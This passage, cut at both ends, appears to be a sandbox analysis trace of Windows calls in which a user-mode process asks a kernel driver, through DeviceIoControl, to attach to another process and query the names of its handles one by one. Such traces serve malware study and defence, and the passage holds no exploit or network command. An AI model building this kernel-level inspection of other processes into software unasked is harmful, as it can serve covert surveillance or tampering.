nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.050] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.050] PsAcquireProcessExitSynchronization () returned 0x0 [0093.050] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.050] ObReferenceObjectByHandle (in: Handle=0x4f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001f97590, HandleInformation=0x0) returned 0x0 [0093.050] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.050] PsReleaseProcessExitSynchronization () returned 0x2 [0093.050] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.050] ObQueryNameString (in: Object=0xfffff8a001f97590, ObjectNameInfo=0xfffffa80026027c4, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80026027c4, ReturnLength=0xfffff88005233550) returned 0x0 [0093.050] ObfDereferenceObject (Object=0xfffff8a001f97590) returned 0x1 [0093.050] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.050] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.050] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.050] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.050] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.050] PsAcquireProcessExitSynchronization () returned 0x0 [0093.050] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.050] ObReferenceObjectByHandle (in: Handle=0x500, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001f93d20, HandleInformation=0x0) returned 0x0 [0093.051] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.051] PsReleaseProcessExitSynchronization () returned 0x2 [0093.051] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.051] ObQueryNameString (in: Object=0xfffff8a001f93d20, ObjectNameInfo=0xfffffa8003920044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003920044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.051] ObfDereferenceObject (Object=0xfffff8a001f93d20) returned 0x1 [0093.051] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.051] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.051] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.051] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.051] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.051] PsAcquireProcessExitSynchronization () returned 0x0 [0093.051] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.051] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002051790, HandleInformation=0x0) returned 0x0 [0093.051] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.051] PsReleaseProcessExitSynchronization () returned 0x2 [0093.051] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.051] ObQueryNameString (in: Object=0xfffff8a002051790, ObjectNameInfo=0xfffffa8003923044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003923044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.051] ObfDereferenceObject (Object=0xfffff8a002051790) returned 0x1 [0093.051] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.051] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.051] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.051] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.051] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.051] PsAcquireProcessExitSynchronization () returned 0x0 [0093.051] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.051] ObReferenceObjectByHandle (in: Handle=0x520, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002051060, HandleInformation=0x0) returned 0x0 [0093.051] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.051] PsReleaseProcessExitSynchronization () returned 0x2 [0093.051] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.051] ObQueryNameString (in: Object=0xfffff8a002051060, ObjectNameInfo=0xfffffa8003969044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003969044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.051] ObfDereferenceObject (Object=0xfffff8a002051060) returned 0x1 [0093.051] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.051] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.051] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.051] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.052] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.052] PsAcquireProcessExitSynchronization () returned 0x0 [0093.052] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.052] ObReferenceObjectByHandle (in: Handle=0x530, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0020364c0, HandleInformation=0x0) returned 0x0 [0093.052] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.052] PsReleaseProcessExitSynchronization () returned 0x2 [0093.052] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.052] ObQueryNameString (in: Object=0xfffff8a0020364c0, ObjectNameInfo=0xfffffa800399a044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa800399a044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.052] ObfDereferenceObject (Object=0xfffff8a0020364c0) returned 0x1 [0093.052] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.052] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.052] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.052] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.052] PsAcquireProcessExitSynchronization () returned 0x0 [0093.052] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.052] ObReferenceObjectByHandle (in: Handle=0x540, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001fcdcd0, HandleInformation=0x0) returned 0x0 [0093.052] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.052] PsReleaseProcessExitSynchronization () returned 0x2 [0093.052] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.052] ObQueryNameString (in: Object=0xfffff8a001fcdcd0, ObjectNameInfo=0xfffffa8003a7f044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8003a7f044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.052] ObfDereferenceObject (Object=0xfffff8a001fcdcd0) returned 0x1 [0093.052] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.052] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.052] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.052] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.052] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.052] PsAcquireProcessExitSynchronization () returned 0x0 [0093.052] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.052] ObReferenceObjectByHandle (in: Handle=0x550, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00205a450, HandleInformation=0x0) returned 0x0 [0093.052] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.052] PsReleaseProcessExitSynchronization () returned 0x2 [0093.052] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.052] ObQueryNameString (in: Object=0xfffff8a00205a450, ObjectNameInfo=0xfffffa8002012044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002012044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.053] ObfDereferenceObject (Object=0xfffff8a00205a450) returned 0x1 [0093.053] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.053] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.053] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.053] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.053] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.053] PsAcquireProcessExitSynchronization () returned 0x0 [0093.053] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.053] ObReferenceObjectByHandle (in: Handle=0x560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0020737a0, HandleInformation=0x0) returned 0x0 [0093.053] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.053] PsReleaseProcessExitSynchronization () returned 0x2 [0093.053] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.053] ObQueryNameString (in: Object=0xfffff8a0020737a0, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.053] ObfDereferenceObject (Object=0xfffff8a0020737a0) returned 0x1 [0093.053] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.053] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.053] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.053] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.053] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.053] PsAcquireProcessExitSynchronization () returned 0x0 [0093.053] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.053] ObReferenceObjectByHandle (in: Handle=0x570, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001fdcca0, HandleInformation=0x0) returned 0x0 [0093.053] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.053] PsReleaseProcessExitSynchronization () returned 0x2 [0093.053] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.053] ObQueryNameString (in: Object=0xfffff8a001fdcca0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.053] ObfDereferenceObject (Object=0xfffff8a001fdcca0) returned 0x1 [0093.053] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.053] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.053] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.053] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.053] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.053] PsAcquireProcessExitSynchronization () returned 0x0 [0093.053] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.053] ObReferenceObjectByHandle (in: Handle=0x580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001fe2c00, HandleInformation=0x0) returned 0x0 [0093.054] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.054] PsReleaseProcessExitSynchronization () returned 0x2 [0093.054] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.054] ObQueryNameString (in: Object=0xfffff8a001fe2c00, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.054] ObfDereferenceObject (Object=0xfffff8a001fe2c00) returned 0x1 [0093.054] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.054] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.054] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.054] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.054] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.054] PsAcquireProcessExitSynchronization () returned 0x0 [0093.054] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.054] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00206a060, HandleInformation=0x0) returned 0x0 [0093.054] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.054] PsReleaseProcessExitSynchronization () returned 0x2 [0093.054] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.054] ObQueryNameString (in: Object=0xfffff8a00206a060, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.054] ObfDereferenceObject (Object=0xfffff8a00206a060) returned 0x1 [0093.054] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.054] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.054] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.054] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.054] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.054] PsAcquireProcessExitSynchronization () returned 0x0 [0093.054] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.054] ObReferenceObjectByHandle (in: Handle=0x59c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002069520, HandleInformation=0x0) returned 0x0 [0093.054] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.054] PsReleaseProcessExitSynchronization () returned 0x2 [0093.054] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.054] ObQueryNameString (in: Object=0xfffff8a002069520, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.054] ObfDereferenceObject (Object=0xfffff8a002069520) returned 0x1 [0093.054] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.055] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.055] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.055] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.055] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.055] PsAcquireProcessExitSynchronization () returned 0x0 [0093.055] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.055] ObReferenceObjectByHandle (in: Handle=0x5ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002070490, HandleInformation=0x0) returned 0x0 [0093.055] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.055] PsReleaseProcessExitSynchronization () returned 0x2 [0093.055] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.055] ObQueryNameString (in: Object=0xfffff8a002070490, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.055] ObfDereferenceObject (Object=0xfffff8a002070490) returned 0x1 [0093.055] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.055] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.055] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.055] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.055] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.055] PsAcquireProcessExitSynchronization () returned 0x0 [0093.055] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.055] ObReferenceObjectByHandle (in: Handle=0x5bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002061800, HandleInformation=0x0) returned 0x0 [0093.055] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.055] PsReleaseProcessExitSynchronization () returned 0x2 [0093.055] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.055] ObQueryNameString (in: Object=0xfffff8a002061800, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.055] ObfDereferenceObject (Object=0xfffff8a002061800) returned 0x1 [0093.055] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.055] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.055] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.055] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.055] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.055] PsAcquireProcessExitSynchronization () returned 0x0 [0093.055] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.055] ObReferenceObjectByHandle (in: Handle=0x5cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a002069140, HandleInformation=0x0) returned 0x0 [0093.055] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.056] PsReleaseProcessExitSynchronization () returned 0x2 [0093.056] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x151 [0093.056] ObQueryNameString (in: Object=0xfffff8a002069140, ObjectNameInfo=0xfffffa8002011044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002011044, ReturnLength=0xfffff88005233550) returned 0x0 [0093.056] ObfDereferenceObject (Object=0xfffff8a002069140) returned 0x1 [0093.056] IofCompleteRequest (Irp=0xfffffa8002120e10, PriorityBoost=0) [0093.056] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x1f215e0 | out: hHeap=0x210000) returned 1 [0093.056] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x1f215e0 [0093.056] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f215e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f215e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0093.056] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0093.056] PsAcquireProcessExitSynchronization () returned 0x0 [0093.056] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880052335d0) [0093.056] ObReferenceObjectByHandle (in: Handle=0x5dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0020493d0, HandleInformation=0x0) returned 0x0 [0093.056] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0093.056] PsReleaseProcessExitSynchronization () returned 0x2 [0093.056] 